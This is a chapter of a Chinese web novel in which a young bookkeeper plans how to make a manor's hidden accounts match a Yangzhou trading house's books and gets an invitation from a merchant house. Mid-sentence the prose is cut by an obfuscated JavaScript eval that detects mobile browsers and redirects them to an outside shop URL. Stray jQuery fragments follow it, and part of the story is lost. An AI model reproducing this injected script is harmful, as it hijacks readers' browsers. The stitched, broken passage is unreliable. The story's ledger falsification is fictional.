28. 尺素来仪

作品:《鲲之大,公主衣袖装不下

    “所以狗剩让我来扬州府,搬救兵还是其次,最重要是让我来做账。”她可是庄上唯一的账房先生了,不然怎么不让别人来,偏让她来呢?


    周庄主眼中透着赞许,鼓励她继续说。


    宋文楚脑子飞快转动,张先生的旧账本和韩山手里马三哥的私账是对不上的。


    摆在她面前的有两条路子,其一把那笔药材的账从账本上抹掉,同时断了和汇通号这边的往来。然而抹掉字容易,可抹掉之后庄子上的银子该往哪儿安去?


    庄子近年来的进项太惹人眼红了,银子若全留在庄上就会成为明账,明账危险,这不连转移后的账都被韩山之流给盯上了。


    其二便是做成经得起查的正经生意,她比较倾向于这条,可行性较高。


    不过现在具体怎么改她还没想好,她需要先看过汇通号的底账,心里才好琢磨两边的账究竟怎么对上。


    周庄主听她说完自己的思量,抬手为她鼓掌:“好聪明的孩子,说得不错。”又似自嘲般,“张先生的账记了四年期间也从未被查过,你来了这半个月倒是多事之秋,净把旧账全翻出来了,真是……”


    这话听着感觉怪怪的,宋文楚还在揣度着其中深意,旁边周庄主将宋文楚那杯凉掉的茶倒进茶海,再斟了一杯热的推到她手边。


    “手怎么蹭破了?”周庄主瞧见她手指指节处蹭掉一块皮,现在伤处已经结成血痂了。


    宋文楚扫了一眼,撇撇嘴不甚在意。


    “不碍事,想是路上在哪儿蹭了一下。”先前攀沈幼安的骡车时蹭的。


    周庄主走到一只多宝格跟前,拉开最底下那层抽屉取出盒药膏。


    “手伸过来吧。”


    宋文楚捏着茶杯推辞了一下,又抬眼觑周庄主,期待她再次邀请。


    周庄主怎会不明白她小心思,笑着摇摇头将她的手拉过来。


    “扬州潮湿,小伤口不收拾恐易溃脓。”


    用小银匙剜了块药膏点在破皮处,再以指腹轻轻揉开,有一点刺痛。宋文楚缩缩脖子急遽掀眼皮望周庄主一下,又低头盯着动作的手。


    “多谢庄主。”宋文楚嘿嘿一笑,冒着点傻气。


    再问了点宋文楚近况,周庄主便让伏雪带着她先行用餐再去周边玩玩,看账的事明日再说。


    宋文楚走到门口时又停下回过头问:“要不要先将人从牢里保释出来,平账也不是一时半会儿的事,万一狗剩他们撑不住呢?”


    周庄主不置可否:“韩明远要的是我,在我出现之前都他们不会有事的。”


    她们走后房内剩下周庄主一人,她拾起玉佩,慢慢收紧握在掌心。


    晚上宋文楚躺在床上滚来滚去,脑子里还在转着账目的事,她又把庄上的进项从头捋了一遍。


    粮食、山货、药材。粮食是大头,买家都是县里的老顾客粮商了,突然换成一个扬州的商号实在诡异,把韩山当傻子哄呢?


    药材更不用说,韩山已经盯上这条线了碰都不能碰。


    剩下的就是山货。庄上后山那片林里每年产的山货数量不少,卖得也挺好。而且呀最关键是,山货的买家并不像粮食那么固定,你今年乐意卖给甲,明年想卖给乙,后年再卖给丙,铁打的老母猪庄流水的买家。


    行,那就山货。反正山货是庄上自己产的,成本低卖多卖少的没法说。韩山就算查,也查不出什么大毛病。


    可思来想去,汇通号与老母猪庄这都相隔几百里了,大老远跑去老母猪庄收山货,还是不太说得通啊。


    除非……有中间商!


    宋文楚立即联想到一个名字:千秋岁。


    她跟随来扬州的那支商队就是千秋岁底下的,或许她可以联络沈幼安试试搭上这条线?


    至于千秋岁在清水镇有没有分号?她不知道,但若千秋岁这样的商人愿意加盟,镇里那些个山货商牙肯定是要笑掉了。


    她越想越觉得这条线走得通。韩山到时候要查,查到汇通号也没事反正她账也做平了。他要是再往下查到千秋岁头上,那更不怕了。


    千秋岁是扬州府的纳税大户,官府都要给几分面子,韩山一个县丞敢动千秋岁的账?


    在船上时候她可是瞧见了沈幼安对花蝴蝶的敷衍态度,千秋岁底下人连扬州府知县都不放在眼里,韩山他又算个什么东西?哼!


    行,宋文楚捋明白了心情一顿通畅,明天再仔细看看底账上有没有千秋岁的名字,有最好,没有她只能请托沈幼安了。


    次日一早,掌柜引她进了账房。近几年的账本都被分门别类归好摞在一只大木箱内,宋文楚分批搬到桌上,再把自己揣的那几本老母猪庄旧账本掏出并排摊在旁边。


    一页页翻着汇通号的底账,字字都看得细致,宋文楚一边用手扒在账上点,一边眼睛来回地往两边扫,想着法儿的把数目往一块凑。


    比对了大半个时辰,终于翻到了她要找的那页。


    宋文楚皱起了眉。


    庄上记的“采购药材”账对在汇通号底账上竟然写的是“代购”,代购的都是些农具牲口什么,银两更是比正常开销多出来一大截,她把这些零零碎碎都加起来一算,总体银两是跟底账以及庄上都对得上的。


    怕是随便编了个名目,庄上用名目将银子送出去,汇通号用名目把银子收进来,结果两边又各编各的,从来就没对过。


    那这笔银子后来去了哪儿呢?


    她在底账中翻找着蛛丝马迹,最终她发现汇通号的底账上那些转到汇通号的银子,并没有全部留在汇通号。


    一部分确实用于做正经生意,有明白的账可查。而另一部分去向写着“调拨”,调拨里还有银两是来自汇通号本身,数目大得令人瞠目结舌。


    所以这些银子不是真的花了,或许是是借着这名目转出去,又转到哪儿了?究竟是用于什么途径需要这么多银两呢?


    宋文楚有些不敢深思下去,至于调拨途径她没法管,也管不着,只消把庄上和汇通号相关联这条线做平就好了。


    望着这浩大的工程量,她深吸一口气提过笔,在空纸上重新编出一条能把两边串起来的线。


    先给庄上的“药材采购”改成“山货销售”,汇通号绸缎茶叶的账也调成山货,再把各项山货修改名目,数目银两往汇通号的山货上靠。


    调换品名在账面上不难,只要总数对得上反正契书和票据后面再补就是了。


    这种活做的多了,宋文楚也颇为得心应手。


    平账的方法想到了,至于具体的买家……她没找到千秋岁的名字,只能找沈幼安搭线了。


    门被敲响的时候,宋文楚正埋着头写拜帖,来人是伏雪。她跑得很急,扶着门框唷唷喘着息:“哭震天,你看到庄主了么?”


    “没呀,我从早上起来就没见着她,怎么了?”


    “到处找遍了,怎么就都没找着人呢……”伏雪锤了下门框,懊恼着呢喃。


    宋文楚搁下笔:“庄主兴许出去办事去了?没准一会儿留回来了,你想想她平常都会去哪里?”


    能去哪里呢……她答应过不会——


    伏雪想起昨日周庄主说的“在我出现之前,他们不会有事”,面色当即变得煞白,表情连换了几番。


    “庄主是去九庐县衙救人了。”她想起那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17447247|198335||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人对她的吩咐,又惦着庄主对她的叮嘱,一时间竟不知该遵向哪边。


    救人便救人罢,宋文楚莫名,怎么一说救人伏雪脸色这么难看?就仿佛庄主去了回不来似的。


    只是她这账还没做完呢,庄主就这样急着过去能行么?不过毕竟都是庄上的庄客,账目怎么也碍不着他们什么事,韩山想要的不就是银子,庄主交点银子将人赎出,她再尽快把平完的账送去便好了。


    那边伏雪转身丢下一句“我去码头找找”便走了。


    宋文楚晃晃头,继续写拜帖。这张不行,写错了个字,撕掉。这张也不行,语气过于生硬,撕掉。这张更不行了,殷勤得跟自己求着他似的,撕掉!


    措辞掂了又掂,最后一笔“有事相商,诚邀会见一面”落下,她抖一抖举高吹干墨迹,言语不卑不亢,文采斐然,总算写出一张她觉得满意的拜帖了,宋文楚甚是欣慰。


    拿着拜帖出了账房,宋文楚走到柜台前,将拜帖递过去。


    “掌柜的——”不对,拜帖地址投哪儿呢?她似乎到现在还不知道沈幼安落脚在何处。


    掌柜一见她,立马哎呀一声:“你来得正好!一早有差人送来这个,说是给你的。”


    他从架子上取下一只信封,上书楚文亲启。宋文楚拆开信,里头塞了张洒金笺,字迹清瘦笔意疏朗,写字之人很惜笔墨,能一笔写完的绝不用两笔,似乎还有些眼熟。


    内容寥寥:三日后,千秋岁备薄酌,恭候。


    落款署名都没有。


    宋文楚一猜就知是谁,整个扬州城她认识的人没几个,知道她叫楚文的也没几个,跟千秋岁搭嘎的她又就只晓得那一个。


    她正愁怎么找沈幼安,眼下帖子就送到了跟前,真是踏破铁鞋无觅处,得来全不费工夫呐。


    掌柜抓着宋文楚写的拜帖,正过来反过去看看:“楚姑娘,这帖子是送到——”


    宋文楚身子一倾伸手就将拜帖抽回来,折了和洒金笺叠一处塞进袖子里。


    “现在不用送啦,谢谢掌柜的。”


    ……


    迩来,临王宋明臣奏请整军经武,于京畿添设新军三营,兵士皆从王府旧部中选任。太子党御史中丞韩昭上书,言“京畿兵权不宜过于集中”,宋明臣只将奏章留中不发。三日后,韩昭便因“督查不力”之名被贬出京城发配岭南。


    太子亦未闲,于东宫召募幕僚,其素有“江左才子”之称的段怀书入东宫任洗马之职。朝堂中传言太子欲借此笼络江南士族,然东宫对此不置可否。


    时值隆冬,宋明臣于城郊举行冬狩邀太子同往,太子称病不出只遣东宫属官代为前往。猎场上,宋明臣连发三箭皆中靶心,乃顾谓左右曰:“本王尚能骑射,太子正当盛年又何以称病?”在场之人面面相觑,无一人敢应声。


    帝疾笃无能视朝已久,太子宋清让监国于东宫,临王宋明臣执掌机要于内廷。两府明争暗斗持久,朝野上下暗流涌动,朝臣或附东宫或投王府,门庭若市,弹章与保奏齐飞,恩赏并贬谪迭出。


    顾庸时任扬州知府,守着东南财赋重地,两党皆欲引其为外援,前有太子党遣人说许以三品京官,后有临王党亮出密函言“王甚重公”。


    顾庸设宴款待来使,忽然举杯朝着王都方向,一把鼻涕一把眼泪:“下官蒙帝简拔,唯盼圣上龙体早康复重亲万机!至于其他,非下官所敢闻也!”言罢,击箸而歌“天威咫尺”,声泪俱下,来使不能强。


    自此,两党皆知顾庸乃滑不溜秋滚刀肉,遂暂且将此人搁置。


    腊月既望,扬州大雪。商人千秋岁设生辰宴于城南别业,柬帖遍洒,名流云集。